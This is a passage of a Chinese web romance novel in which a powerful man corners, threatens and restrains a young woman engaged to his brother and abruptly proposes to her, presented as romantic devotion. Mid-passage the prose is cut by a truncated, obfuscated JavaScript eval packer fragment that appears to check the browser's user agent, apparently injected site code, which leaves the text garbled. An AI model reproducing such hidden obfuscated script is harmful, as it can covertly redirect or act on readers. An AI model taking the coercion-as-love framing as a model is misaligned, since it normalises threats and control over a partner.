这种重新回到安全区域的感觉让黎清昭有些沾沾自喜。她甚至以为,蔺承则及时止步是因为她上次的策略奏效了。 今年是黎老爷子八十八岁大寿,老爷子虽然上了年龄,早就撒手不管集团的事,但依旧精神矍铄。 虽然今天是他的生日宴,黎家的小辈都忙来忙去,但老爷子依旧云淡风轻地穿着一身白色的太极服,坚持在院子里练完他那一套太极拳。 而黎清昭则穿了一身豆沙粉的旗袍,旗袍上右侧刺着山茶花的刺绣。她脚上穿了双银色的高跟鞋,鞋头点缀了一对蝴蝶结,整个人看上去既闻文雅又俏皮,和她以往的形象不同,颇有几分大家闺秀的淑女姿态。 黎清昭闲着无聊,逗弄黎老爷子养的那两只会学舌的鹦鹉。 黎老爷子看着自己的孙女,忍不住提醒,“你别捉弄兴哥儿和旺哥儿。” 黎清昭皱了皱鼻子,不满意地转身,想反驳说自己哪有啊。结果一回头,就看到蔺承则缓步走了过来。 他静静地看了她一眼,视线落在黎老爷子身上,向老爷子问好。 两人还算是有话题,黎家最近正在和蔺家合作开发一个项目,由黎执渊牵头,蔺承则入股。 黎清昭听不懂这些生意上的话,又不愿意和蔺承则共处同一处空间,便扭身就走,连声招呼都不打。 “这丫头,都是我和她爸爸惯,没大没小,没有礼貌。”黎老爷子说。 “无妨,清昭年纪还小。”蔺承则勾了勾唇,将视线从那一道倩影上收回来。 黎清昭回到自己的房间,才觉得呼吸更通常了一些。她轻叹一口气,没想到自己居然怂包到这个份上,见到那个坏男人就浑身涌上一股寒意。 和他同处一个空间,她连呼吸都困难。 可今天这种场合,他身为家里的长子,势必是要代表蔺家来给黎老爷子庆生的。不像蔺逸远这个书呆子,嘴上说着要重新追求她,结果前两天又去慕尼黑出差了,她爷爷生日这种重要的场合都出席不了,连个表现的机会都没有。 黎清昭把仙女抱在怀里,看着小布偶蓝宝石般的眼睛,嘟着嘴肆意地亲来亲去,“好烦啊,仙女。” 黎清昭真想躺在床上打个滚发泄一些看到蔺承则引来的糟糕情绪,又突然想起自己今天没这身穿搭,只好哀叹一声,继续亲猫。 突然,敲门声响起。 黎清昭还以为是家里的阿姨,抱着布偶猫就去开门。 门一开,一道高大的阴影就覆了下来。 是蔺承则。 黎清昭眼疾手快,按着门把手就要把门关上。可她力气太小,怎么敌得过他一个强壮的男人。 蔺承则轻飘飘、毫不费力地卡住门,低眸看着她。 黎清昭一脸气急败坏的表情,她恨不得像踩死一个蚂蚁那样夹死他,“你要干什么?” 蔺承则:“躲我?” “我没有。”她扬了扬下巴,“我凭什么要躲你?你以为我怕你。” 蔺承则无奈地笑了,她浑身上下就这张嘴巴最硬,从不吃口头亏。 “不怕我,那怎么不让我进来?”他明知故问。 黎清昭匪夷所思地看着他,“你可别不要脸了,这是我家,我的房间。我想让谁进,就让谁进。我不想让谁进,谁就进不来。” 她边说着边用力推门,还使坏用高跟鞋去踩他的皮鞋。 “清昭,那我们就这样僵持着?”蔺承则即使被踩也依旧面不改色,“还是说,其实你很享受这种和我偷情的感觉。” 不要脸!不要脸!不要脸! 黎清昭像只炸毛的小猫,被他一刺激就急眼,“你血口喷人!谁在和你偷情?明明是你在逼我。你信不信我现在就喊人,楼下宾客这么多,来的都是政商界有头有脸的人物,我要让他们都看看你是多不要脸。” 说完,黎清昭就抻着脖子要喊救命。 蔺承则立刻抬手捂住她的嘴巴,也不知道是不是他的错觉,他感觉她的舌尖在他的掌心抵了一下。 湿湿的,热热的,软软的。 很舒服。 蔺承则眉心直跳,他当然知道她不是故意的,她对他是一点喜欢的感情都没有。 但他还是不可抑制地产生了反应。 在黑色的西裤之下。 很想把她按在床上狠狠收拾一番,磨一磨她的戾气。 可他又舍不得。 但他舍不得伤害她,不代表她舍不得咬他。 黎清昭才不是挨欺负的性格,她双手攥住他的胳膊,张嘴就在他的虎口处狠狠地咬下一口,挑着眼睛看他,丝毫没有松开的意思。 男人吃疼,眉头皱了起来,镜片之后的双眼更加薄凉。 黎清昭才不在意他疼不疼,她只会心想他可真活该,越想越兴奋,于是嘴巴上的力道却越来越大。 “清昭,你是在逼我亲你?”他问。 黎清昭立刻嫌弃地松开了嘴巴,用手背使劲儿擦了擦嘴唇,仿佛碰到了什么脏东西。 蔺承则抬手,只见他虎口处留下一排牙印,还有模糊的口红印。 “属狗的?”他把手抬到她眼前。 她也不横了,又蔫巴巴的,像霜打的茄子一样,“你要是敢…敢再亲我,我就叫!我就说你强/奸我!” 蔺承则毫不在意地看着她,“你可以喊,我不介意背负这种骂名。” 厚颜无耻的男人! 她眨了眨眼,小脸通红地看着她。 果不其然,她只是架势闹得够大,其实胆子小得不行。 她比谁都清楚,如果这件事曝光,她才会陷入舆论的正中心。别人才不会管是蔺承则一直在逼她、强迫她、欺负她,别人只会说是她不要脸,同时勾引哥哥和弟弟。 她像是泄气一般,眼里的恨意更浓,死死地盯着他。 突然楼梯上传来脚步声和模糊的交谈声,她立刻心惊胆战,只觉得进退维谷。 蔺承则看透她眼底的恐惧,攥住她的手腕,轻轻一提,她人就被他带进了卧室里,他随手将门关上。 黎清昭死死地咬住自己的唇,继续用自己仅有的筹码威胁他,“等今天宴会结束,我就会把这些事都告诉爷爷和哥哥。” 言外之意,他再也别想威胁她。 蔺承则看着她可怜兮兮的模样,想抬手摸一摸她的脸蛋,被她一手给拍开。 蔺承则强势地攥住她的手腕,把她拉回来,困在自己和门的方寸之间,抬手捻了捻她的耳垂,商量着说:“清昭,和我试一试好不好?” 男人滚烫的呼吸打在头顶,黎清昭只觉得心寒,她眼圈瞬间就红了,“不好不好不好!我又不喜欢你,我喜欢的人是蔺逸远,你的亲弟弟!” 蔺承则深吸了一口气,“你确定要现在和我提他?” “蔺逸远!蔺逸远!蔺逸远!”他不爱听,她偏要提,气死他这个老混蛋才好。 蔺承则抬手捏住她的下巴,她逃脱不得,才察觉到自己所处的危机感,人立刻闭上嘴巴,一言不发,只用倔强的双眼盯着他。 蔺承则真的想亲她,像上次在医院那样,肆无忌惮地亲她。 可他不能这样做。 她已经够讨厌他的了。 他只是点了点她的鼻子,宽容地和她说:“也就只有你敢这么气我。” “想什么呢?心里在想气死我才好是不是?”他仿佛将她看透。 卧室露台的门开着,一阵风袭来,吹得她打了个寒颤。她呼吸之间就能闻到他身上那股凛冽的雪松味,她觉得这种味道已经浸透在她的卧室中了。 这是很可怕的事了。 她忽然想到,蔺逸远还没进过她的闺房呢。 又有些委屈。 她一声不哼。 他也一言不发。 他们依旧在僵持着,她的后背绷得紧紧的,手脚不敢乱动。而他则是贪婪地享受短暂的拥有她的时光,即使不碰她。 不知道过了多久,也不知在什么时候,她的眼睛中已经蒙上了一层水雾。眨眼之间,豆大的珍珠砸下,一滴一滴落在了他的衣襟上和皮鞋上。 他温柔地要帮她擦眼泪,她偏过头躲开,吸了吸鼻子,“你能不能放开我啊,我腿抽筋了。” 蔺承则松开她,往后退了一步。 他还在思索要不要把她抱到沙发上,替她揉一揉,却见她已经小心翼翼地蹲下身揉了揉脚腕,然后趁他不注意,转身拉开门就溜了。 溜之前还不忘记报仇,狠狠地推了他一下,就差扇他一巴掌了。 蔺承则看着已经被关上的门,勾唇轻笑了笑,他就不该轻易相信她,她从小就是个鬼机灵,服软也是假服软。 - 黎清昭从虎口逃生之后,再也没一个人落单过,她心神不宁地围在陈玖身边,带着黎思逾一起玩儿。 “小姑姑,你是和逸远叔叔分手了吗?” 黎思逾是个小聪明,自从上次黎清昭过敏之后,她就再也没管蔺逸远叫过“小姑父”。 “是你妈妈让你问的吧。”黎清昭看向陈玖。 陈玖耸了耸肩,连忙撇清关系,“可不是我要八卦,是你哥关心你。他放心不下你,又碍着面子不好意思直接问你,只好让你侄女问你喽。” 黎清昭给黎思逾擦了擦嘴巴上的糕点渣子,轻叹一口气,“我也不知道,看他表现吧。” “怎么?有心事?” 黎清昭想起刚刚在蔺承则那受到的委屈,扁了扁嘴巴,把头靠在陈玖的肩膀上,不说话。 “是不是这两天又和小妈吵架了?”陈玖问。 因为黎老爷子的生日,黎清昭提前两天就回了黎家老宅住下。陈玖知道她和蒋辞不对付,还以为是两人明里暗里又吵架着。 “没有。你见我什么时候把她放在心上过?就算是吵架,你见我输过吗?”黎清昭对这件事还是蛮得意的。 这个家只有她可以治蒋辞。 不过这两年她长大了,不像以前那样爱和蒋辞找茬儿了。 “嗯,你最厉害。”陈玖夸她。 要是平时,黎大小姐听到这些夸奖的话,指定得顺着台阶往上爬,吹捧自己一番。可今天,她是真没这个心思,一直在 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蔺承则又看了眼黎清昭,“我今天来是想商量一下黎家和蔺家的婚事。” 黎乾岳觉得蔺逸远和黎清昭年龄都太小,还没到谈婚论嫁的年纪。而且,蔺逸远今年才刚进公司开始带项目,可以说是羽翼未丰。 虽然两个孩子有婚约在身,这两年感情也还算不错,但他这个当爹并不觉得这是女儿嫁人的好时机。 怎么也得再等两年,至少要让蔺逸远在集团站稳脚跟。否则按照蔺家的复杂局势,他不觉得蔺逸远能护黎清昭周全。 说实在的,还是当爹的担心自己的宝贝女儿受委屈。 “逸远和清昭的年龄还小。”黎乾岳说,“况且,这事真要谈,也得我和你父亲坐在一起商量。” 言外之意,蔺承则这个小辈虽然位高权重,但贸然越过他父亲来帮弟弟谈论婚事终究是不妥当。 儿女婚事,毕竟是事关两个家族利益的大事。 蔺承则赞同地点了点头,“我父亲这阵子身体不太好,否则今天一定亲自来参加爷爷的寿宴。” 黎老爷子摆了摆手,他倒是不在意这些细枝末节的事,不过都是面子工程罢了。 但他倒是很认同黎乾岳刚刚的话,“两个孩子确实是太小了,尤其是清昭,明年才毕业。这事就等清昭毕业后再谈吧。” 黎清昭一听到要谈论她的婚事,早就无法冷静了。她虽然不清楚蔺承则葫芦里卖的什么药,但他肯定憋了一肚子坏水。 她才不相信他是好心地帮蔺逸远来提亲的呢。 不过,既然他给她吹了这个东风,她确实可以借着这个由头先和蔺逸远订婚。 毕竟订婚之后,蔺承则就不会再对她痴心妄想了。 而且,黎清昭这盘算盘打得很清楚,订婚又不是结婚。万一以后不合适,还能退亲,她和蔺逸远还能一拍两散。 黎清昭坐在黎老爷子身边,挽住老爷子的胳膊,“爷爷,其实我也不小了,我和逸远是真心喜欢的。” “你这孩子。” 黎清昭挽着黎老爷子的手撒娇,“我觉得大哥说的也有道理。而且我和逸远是真心相爱的,反正我非他不嫁。” 蔺承则的眸色骤然暗下来,他微眯了眯眼,眸中散发出危险的信号。 可黎清昭偏偏还没察觉,她现在一心想要借着这个由头把自己和蔺逸远死死地捆绑在一起,以此来挣脱蔺承则对她的束缚。 她就不信,他还能厚颜无耻到抢了弟弟的未婚妻? 黎老爷子问黎清昭不是又和蔺逸远吵架了吗。 他还不知道上次蔺逸远害的黎清昭花生过敏的事。黎清昭不让说。 “肯定又是大哥告的状。”黎清昭轻哼一声,“那现在谁家情侣在一起不吵架?您年轻的时候可没少跟奶奶吵。” 黎老爷子用拐杖在她的小腿上轻打了一下,惯着她说:“没大没小。” “反正就这样说定了……” 黎清昭话还没说完,就被蔺承则强势地打断了。 他早就听腻了她口中那些关于蔺逸远的情话,也看透了她内心那些小九九。 她想轻而易举摆脱他,怎么可能? “说到这儿,爷爷,我得替逸远给清昭道个歉。上次清昭来家里吃饭,逸远害得她花生过敏,这件事确实是逸远的疏忽。” 黎清昭瞪着眼睛看向他,这个坏东西,怎么还告状呢? “还有这回事?你这孩子,怎么不说?”黎乾岳本就对蔺逸远有意见,听见自己的宝贝女儿差点儿丢了小命,脸上已经染上了愠色。 “这就是个意外。”黎清昭小声说。 “反正我不管,我就是要和逸远在一起。”她索性直接耍赖皮。 “这事以后再说。”黎乾岳厉声喝斥她,抬眸看向蔺承则,“承则,两个孩子还小,我的意见是这门亲事过两年再谈也不迟。如果这是蔺兄的想法,我改天亲自和他谈。” 蔺承则扶了扶镜框,缓缓开口:“爷爷,黎叔,蒋姨,我想你们是误会了。实不相瞒,我说的婚事是指我和清昭的婚事。” “我是来向清昭提亲的。” 10. 非要娶她 蔺承则提出提亲一事,黎家瞬间一片寂静。 这句话显然超出所有人的设想,没有人想过他会强势到这个份上,直接孤身一人上门抢亲,抢得还是他亲弟弟的未婚妻。 正在旁人在思考他这句话有几分认真的时候,黎清昭倒是像一只炸毛了毛的小狮子,瞬间就从沙发上站了起来。 她气得手抖,用手指着他的眉心,“你在痴心妄想!” 这句话一出,火药味瞬间燃烧起来,所有人都知道事情的发展已经偏离了轨道,甚至还能在蔺承则和黎清昭的话语中品出一丝暧昧。 可黎清昭丝毫都没有察觉,她已经快要被蔺承则的话气疯了,怪不得他今天敢堂而皇之地敲开她卧室的门,肆无忌惮地威胁她呢。 原来他早就没安好心,早就打好了如意算盘。 而她,偏偏不会让他如愿,这个狗东西。 “爷爷,他在胡说。我只会嫁给逸远!”她立刻看向黎老爷子,蹲在他面前,可怜兮兮地希望爷爷给自己作主。 黎老爷子看了眼蔺承则,沉声说:“承则,这到底是怎么回事?婚姻大事不是儿戏,这种玩笑我黎家可开不得。” 蔺承则语气虽然听不出什么温度,但倒是保持着谦卑的姿态,不像刚刚那么强势,他解释:“爷爷,承则刚刚没有开玩笑。我是真的喜欢清昭,而清昭和逸远也已经分手。既然蔺家和黎家注定要联姻,为什么不能是我和清昭呢?” 明明是谬论,可话从他嘴里出来,却让人不容置疑。 “清昭年龄小,不懂事,我有信心可以照顾好她。而且黎家和蔺家强强联合,新能源的项目一定会更上一层的。我知道今天贸然提交这件事确实是有些唐突,但我爱清昭的心是真的,我下的聘礼也一定配得上清昭的价值。” 黎清昭立刻发了脾气,从黎老爷子身边起来,“可我不喜欢你!” 她声嘶力竭,眼圈又红了。 她不知道自己怎么这么倒霉,居然被坏东西缠上了。他威胁她、欺负她还不够,居然还要娶她为妻。 她算是什么? 她又不是两家交易的商品,他凭什么要把两人婚姻的价值明码标价? 可这还不是最让她心寒的。 令黎清昭没想到的是,一项疼爱她的爷爷和父亲居然一声没吭,他们满脸忧愁,那表情像是在思考这笔交易合不合理。 “爷爷,爸爸!”黎清昭满脸惶恐地看向他们,她攥住黎老爷子的手,“爷爷,我不要,我不要嫁给他!” “爷爷!”黎清昭瞬间泪如雨下。 那一刻她仿佛认清一个现实,就是她虽然从小备受宠爱,爷爷和爸爸口中的小公主。可她依旧不能肆无忌惮到实现绝对的自由。 就像前些年他们不让她玩儿极限运动一样,现如今她的婚事也由不得她自己选择。 “爷爷,爸。”黎执渊是真心疼爱自己这个妹妹,“我也觉得清昭还小,婚姻大事还不能着急。无论是跟蔺家结亲,还是另寻他人,都要尊重昭昭的选择。” 黎清昭感激地看向自己的哥哥,眼泪一滴一滴往下滚。 “况且,蔺总今天这个行为多少有些不妥,哪怕真是要提亲,我的妹妹也得八抬大轿风风光光地出嫁,而不是三言两语就草草定了她的婚事。”黎执渊眸色幽深,静静地看着蔺承则,眼中的敌意快要溢出来。 蔺承则轻笑了一声,“确实是我草率了。” 他道过歉之后,又看向黎老爷子,“那改天我再正式登门聊这件事。” 说完,便转身离开。 黎清昭忿忿地看着他的背影,犹豫两秒,二话不说踩着高跟鞋就追了出去。她出门的时候,蔺承则已经走到了庭院中,他似乎听见了她的动静,停下脚步等着她。 黎清昭抬手就要打他,却被她攥住手腕轻轻一提,她人就贴在了他的身上。 “你混蛋!”她依旧不甘心,还挣扎着要打他。 蔺承则眉头微蹙,他说:“清昭,我是你最好的选择。你能看得出来,无论是逸远,还是你的爷爷和父亲,他们都靠不住。” 他不过是三言两语,就撬动了黎老爷子和黎乾岳的想法,因为他们清楚,抛却爱情这一项,他蔺承则的价值远远高于蔺逸远。 说白了,蔺逸远顶着半个私生子的身份,母亲家没有任何背景,现在在公司也没有任何地位,就是一个气球,一戳就瘪了。 蔺承则比谁都清楚,当年黎老爷子既然能白手起家、驰骋商场,那必定是个优秀的商人。 而商人最大的优点就是权衡利弊。 别看黎老爷子现在已经成了甩手掌柜,两耳不闻窗外事,每天只养养鸟、喂喂鱼,可他心底比谁都清楚各大家族之间的利益关系。 只有合作才能共赢。 这个道理黎老爷子比谁都清楚。 否则当年,黎清昭刚出生之后,他也不会答应蔺老爷子给两个孩子定下了娃娃亲。 而现在,时过境迁,蔺家的局势渐渐清明。所有人都知道,在蔺家的这盘棋上,蔺承则是个比蔺逸远更好的选择。 黎清昭听完蔺承则这些话,想杀了他的心都有了,她的睫毛被濡湿,上面挂着泪珠,“所以你今天就是为了告诉我,我从小到大引以为傲的宠爱斗不过你三言两语的威胁,我在爷爷眼中就是一颗棋子对吗?” “我本意不是这样。”他抬手给她擦了擦眼泪。 “那你是什么意思?”她逮着机会就疯狂地捶打他的胸口。 就连她自己都没注意到,她可以肆无忌惮地在蔺承则面前撒泼,就好像他潜意识知道,无论她说多难听的话,他也不会真的收拾她。 蔺承则揽着她的腰,任由她发疯,“清昭,我本意只想娶你。” 只是手段卑鄙了一些。 “你以为我会相信你?你以为嫁给你是一件很光荣的事吗?我偏不稀罕!我偏不要!”她倔强劲儿又犯了,摆明了要和他对着干。 “我宁愿死了,我也不嫁给你!”她恶狠狠地盯着他,“我这辈子,生是逸远的人,死是逸远的鬼!” 蔺承则被她的眼神刺伤了,他知道,她从小就是个小犟种。如果按照她本人的意愿,顺其自然地发展,她未必到最后真的和蔺逸远结婚。 可如果有人从中作梗,故意破坏她眼中的爱情,她就偏偏要证明她和蔺逸远的爱情坚不可摧。 她很幼稚,像是刚坠入青春期的少女一样。 她也很单纯,觉得凭借自己的意愿就可以抵御万难。 可显然,在现在这个局面上,除了黎执渊这个哥哥,没有人愿意陪她过家家。 “清昭,你可以问问你自己,你真的有那么爱逸远吗?他真的像你想象中的那么好吗?” “不用你管。”她像是被碰到逆鳞一样,瞬间就竖起浑身的刺。 “其实你比谁都清楚,他根本没有那么好。他不记得你的喜好,不记得你花生过敏,这两年甚至连哄你的耐心都要消失殆尽。前阵子他为了求你复合,送了你个瓶子对吧。你很喜欢那个瓶子,但你不知道,这个主意是我出给他的。” 黎清昭眼中满是不可思议。 蔺承则却像个宽容的爱人一样,摸了摸她的头发,“五年前,你身体不好,没法按照约定和他一起去美国。他做了什么?他不是抛下你一个人自己跑了?他在意过你的感受吗?他真的爱你吗?别的不说,就拿今年举例,哪一次他出差给你带了让你称心如意的礼物?你们很多次吵架闹分手,他都在我面前说你是大小姐脾气,很能哄,他不愿意哄,这些都是我亲耳听到的。” “你胡说!”她打断他的话,逼自己把这些话当作他挑拨离间的言语。 “那就是我胡说了。”他无奈地扯了扯嘴角。 黎清昭吸了吸鼻子,甩开他的手,“反正无论如何我都不会嫁给你,你别做梦了。” 说完,她又转身跑回了别墅。 蔺承则看到她临进门的时候还崴了下脚,他条件反射地想去扶她,却见她揉了揉脚腕,又自己站了起来,扶着墙上了台阶。 直到那道倩影消失在视线之内,蔺承则才回过神来,他抬眸,只间夜空中零零散散坠了几颗星。 今晚也没什么月亮。 - 黎清昭失魂落魄地回家,结果又蒋辞争吵了一番。 蒋辞就是个搅屎棍,在她回去之后,故意煽风点火,说蔺承则看上去就比蔺逸远人踏实、体贴、能干。 “依我看,承则确实和昭昭更般配了一些。”她转身又假惺惺地拉住黎清昭的手,“昭昭,蒋姨是真的为你好,你听我一句劝,就嫁了吧。那你逸远呀,我和你爸爸都不喜欢,太软弱,身上没股气质,看上去就不靠谱。我这话可能你不爱听,但我是拿你当我亲生女儿的,这些话我得跟你说明吧。 咱们做人啊,不能那么轴,年轻的时候不要一味的追求真爱,你要找合适的丈夫,要找能护你周全、保你一生荣华富贵的人。” 黎清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也不知道过了多久,她突然想起了蔺逸远,连忙翻到手机给他打电话。 她迫不及待要听到他的声音,她已经快要压抑死了。 结果蔺逸远挂断了她的电话。 黎清昭愣愣地看着手机页面,不可置信地蹲下来抱住自己,再一次把电话打了过去。 蔺逸远再一次挂断。 他发了条微信过来:【宝宝,我还在谈生意,不方便离席,一会儿结束给你打。】 黎清昭眨了眨眼,轻哂一声,把手机放在了一旁。 她深吸一口气,走到淋浴下,任由滚烫的水冲刷掉她的狼狈与疲惫。 她在浴室呆了很久很久,久到手上的皮肤都被水泡得发胀发白。 黎清昭擦干身体,吹干头发,收拾好心情,继续贴面膜护肤。 过了会儿,陈玖带着黎思逾来敲门。 黎清昭一见到嫂嫂,鼻子一酸。 陈玖抱住她,拍着她的肩膀说:“别怕,有你哥和我在呢,有我们给你撑腰,不会让你挨欺负的。” “嫂嫂。” 黎清昭吸了吸鼻子,其实到了现在,最让她心寒的反倒不是蔺承则无理的提亲了,而是黎老爷子的态度、是黎乾岳的那一巴掌、是蔺逸远关键时刻又不接电话。 陈玖轻轻地给她整理头发,“爸也很后悔打你,刚刚你哥说,爸在楼下对蒋姨发了一通火,自己坐在楼下抽了好几支烟。他想和你道歉,又拉不下脸,在你门口站了半天,碰到我才走。” “那他也是打我了。”黎清昭喉咙发酸。 “还疼不疼?我让阿姨给你拿冰块上来,要不然明天肯定会肿的。” “就是呀,小姑姑,肿了就不好看了。” 黎清昭摇了摇头,起身把黎思逾抱在怀里,“小鱼说得对,待会儿小姑姑就冰敷。” 陈玖就陪了黎清昭一会儿,才带着黎思逾离开。卧室骤然之间又只剩下黎清昭自己,她抱着腿坐在露台上吹风,只觉得此时此刻这个家令她很窒息。 她一刻也不想呆了。 黎清昭立刻找了身衣服套在身上,把仙女和饭团装进猫包,在半夜一声不吭地溜走了,没告诉任何人。 等第二天晚上,蔺承则找到她的时候,她一个人正窝在她母亲生前留给她的房产中发着高烧。 11. 管教她 黎家人是在第二天早上发现黎清昭不见的。 黎乾岳昨天打了女儿一巴掌,一晚上都没睡好,寻思早晨去叫女儿吃饭,给自己一个台阶下,顺便弥补父女俩的关系。 结果他敲了半天门,里面愣是一点声音都没有。 “昭昭,起床,出来吃饭了。” 他又敲了两下门,依旧没人回应。 黎乾岳尝试着推了一下门,才发现门没锁,“昭昭,爸爸进来了。” 他进去之后才发现,黎清昭早就没人影了,连带着她那两只宝贝猫都一并带走了。 黎乾岳当然知道黎清昭在为昨晚的事生气,说实话,她从小到大就没受过那么大的委屈,被逼婚就罢了,还被他这个当爹的打了一巴掌。 黎乾岳立刻给她打电话,想问问她去哪了,结果黎清昭没接。 黎乾岳心突然就提了起来,怕她出什么事,立刻让黎执渊和陈玖联系一下她。 黎清昭一早就是被接二连三的电话声吵醒的,前两个电话是他爸打的,她不想接,就当作没听到。 可架不住黎家发动了所有人来联系她,她窝在柔软的床上,右手搭在额头上,接听了电话。 “嫂子。”她的声音有些沙哑。 “谢天谢地,你可算是接电话了,现在人在哪?家里人找不到你都快要急疯了。” 黎清昭轻哂一声,她才不觉得他们会为她着急呢。在他们眼里,她就是用来联姻和交易的物品,对她的感情都是虚假的。 “我回我妈这儿了,你们放心吧。”她打了个喷嚏,“也不用来找我,找我我也不会开门。除非他们收回昨天那句话,让我和逸远结婚。” 陈玖也知道她是个倔性子,“行,那你自己注意安全,手机别把家里人都拉黑,别让我和你哥担心。” “知道了。” 挂断电话,黎清昭又骑着被子发了一通脾气,“啊啊啊啊啊!” 喊着喊着,她又有些想哭,觉得头昏眼花的。于是吸了吸鼻子,把自己整个人都埋在被子里,闭上眼睛继续睡觉。 她这次入睡还挺快的,可能是昨晚一直心事重重睡得不踏实,睡梦中就感觉喉咙干涩、头痛欲裂,但她就像是浑身没力气一样,赖在床上又懒得动弹。 最后实在是想上厕所才从床上爬起来,顺便打开尘封很久的医药箱,随便找了片感冒药吞下去,然后又躺在床上睡着了。 这一觉睡到傍晚,黎清昭是被敲门声吵醒的。她烦躁地爬起来,顶着乱糟糟的头发,扒着猫眼去开门。 又是蔺承则。 她不知道这个坏东西是怎么找到她的,她觉得自己见到她血液都凝固了,原本就乱糟糟的大脑更是一片混沌。 她知道自己是有些感冒了,头晕眼花的。但她又不傻,不可能引狼入室,索性闭上嘴装哑巴。 她觉得他应该是个识时务的人,敲一会儿门没人开的话,肯定马上就走了。 结果他锲而不舍地敲门,语气不容置喙,“清昭,开门。” 昨晚黎老爷子晚宴结束,其实他一直都没有离开,独自一个人坐在车里坐了到后半夜。 果不其然,他看到她一个人拎着两个猫包溜了出来,开车离开。 蔺承则怕她想不开,开车一路跟着,才知道她在这儿落脚。 不过,这些他断然是不会告诉她的。 “我知道你在里面。”男人又敲了敲门。 黎清昭觉得他肯定没安好心,心惊胆战地背对着门站着,连忙用手机给蔺逸远发微信,三言两语交代了昨晚蔺承则提亲的事,又求求他把他亲哥给弄走。 她都要怕死了。 她本来就怕他。 昨晚蔺逸远会议结束,再联系黎清昭她就爱答不理的。当他收到她这条消息的时候,立刻怒火中烧,满脸不可思议。 昨晚他的亲哥哥向他的未婚妻提亲了? 他像是遭到了双重重击,像是被人在后背硬生生捅了一刀。他没有怀疑黎清昭的话,因为他知道即使她再傲娇,她也不可能拿这种事情和他开玩笑。 她一向不喜欢蔺承则。 相反,蔺逸远像是凭借直觉一般,觉得这种事确实是他这个心狠手辣的哥哥能做出来的。 这么多年,及时蔺承则这个兄长做的还算不错,对他这个同父异母的弟弟还算仁慈、宽厚,可蔺逸远其实一直觉得自己看不透他。 他想到蔺承则总是会关心他和黎清昭的感情,想起上次在医院蔺承则打他的时候那种想要弄死他的眼神,只觉得汗毛立了起来。 他得到了一个结论—— 他的亲哥哥其实一直在觊觎着他的未婚妻。 蔺逸远现在人在慕尼黑出差,距离北城有将近八千公里的航线,十个小时的行程,就好像他无论多么努力,人都没有办法立刻赶到黎清昭身旁护住她。 蔺逸远忿忿地给蔺承则打电话。 黎清昭扒着猫眼看到蔺承则从裤兜里摸出手机,接了电话。 这套房子还是十多年前购置的,隔音一般,她隐约听到蔺承则说“这事还轮不到你管”就把电话挂了。 她看到男人轻笑了一下,带着游刃有余地表情,又敲了一下房门,“清昭,我知道你能听见我说话。” 刚刚蔺逸远那通电话反而变相出卖了她。 黎清昭索性也不装了,“能听见又怎么了?你想干嘛?” 她的声音带着鼻音,他不知道她是不是又哭过。 “你觉得我想干嘛?”他无奈地问,他知道他现在在她心里就是一个王八蛋的形象。 “……”黎清昭不说话。 蔺承则哄着她说:“你不想和我面对面聊一聊昨晚的事吗?” “你什么意思?”她才不会轻易上套。 “现在逸远也知道了,我们总得解决这件事。”他连哄带威胁地说,“你现在不开门,难道你要逼我找人来撬锁,昭昭?” “主动开门和被动开门,你知道是不一样的。”他继续加码。 黎清昭只觉得室内的空气越来越稀薄,客厅和玄关处她都没敢开灯,只有墙上的壁灯映衬着她纤细的身影。 那种头痛欲裂的感觉更加强烈,她的眼睛有些泛酸,眼皮强撑着在打架。 “如果你现在开门,至少逸远可以留在公司。如果你不开门,我就把他撵出去,你知道的,依照他现在的实力,离开蔺家,他什么也不是。”他继续威胁。 “他和我有什么关系?”她嘴硬地说。 “既然没什么关系,那我也不用看在你的面子上留下他了,你说把他送到哪里比较好,美国、英国、还是德国?” “等等……” 黎清昭咬住下唇,最终还是迫于他的淫威推开了门。 蔺承则只见到门缓缓从里面被人推开,她的身影也渐渐清晰。她随意穿了条睡裙,很保守可爱的款式,脚上没穿拖鞋,光着脚踩在地上。 黎清昭不愿意看见他,转身就往客厅走,懒懒地坐在沙发上,“想聊什么,你说吧。” 蔺承则顺手把灯打开,这才看到,她的小脸一片绯红,脸上全是疲态。 “你感冒了?”他伸手去探她的额头,又被他一把拍开。 “与你无关。” 蔺承则扣住她的手腕,伸手碰了碰她的额头,脸色立刻变得严肃,“你发烧了你不知道?” “我说了不用你管!”她的抵触情绪非常强烈。 蔺承则拦腰把她抱了起来,黎清昭只觉得身体一轻,随即悬空。她反应过来,立刻像只小狮子一样挣扎,对着他拳打脚踢。 蔺承则把她扔在床上,随手掀开被子把她塞进去。 黎清昭即使发烧了,脾气也不改,偏要和他唱反调,掀开被子就要从另一头下床。 蔺承则屈膝半跪在床上,圈着她的腰把她抱了回来,重新给她盖上被子,居高临下地看着她。 黎清昭双眼瞪着浑圆,眼尾挂着一片猩红,抬手就要去打他。 蔺承则被她气笑了,他轻而易举地把她的双手反剪在身后,刮了刮她的鼻子问她:“非要逼我把你捆起来才甘心?” “你敢?” “你可以试试我敢不敢。” 他发现,心平气和地和她说话没用,只能吓唬她。她就是个外强中干的小姑娘,一吓唬就怂。 果不其然,他话一出,她立刻就不动了,只是那双澄澈的眸子还是忿忿地盯着他。 蔺承则不在乎她这种眼神,或者说,他已经习惯了。 见她老实了,他才松开她,问她测没测体温,吃没吃药。 黎清昭不吭声。 蔺承则:“逼我收拾你?” 她立刻把头埋在被子里,蔫巴巴地全部交代了。 说实话,黎清昭其实没想到蔺承则一晚上连哄带骗、连威胁带吓唬,就是为了照顾她。 她睡了一天了,其实不怎么困,更何况家里还有一个虎视眈眈的坏东西,她肯定无论如何都睡不着了。 于是黎清昭便一边装死一边竖着耳朵听男人的动静,他很快就从客厅折返回来,端着一杯水,拎着黄色的医药箱。 “先来量体温。”蔺承则抬手去掀她的被子,她故意使坏地用手肘抵住被角。 男人勾了勾唇,把被子掀开,只见她露出一个头,头发乱糟糟地糊在脸上。他把体温计递给她,让她夹在腋下。 黎清昭低头看着自己的睡衣,看着胸脯白花花的皮肤,突然矫情地按住自己的胸口,生怕自己走光、生怕自己被他占到便宜。 蔺承则无视掉她的大惊小怪,“你自己来还是要我帮你?” 她才不会用他帮忙呢。 黎清昭自己把体温计塞到腋下,看到他开始在医药箱里翻药。 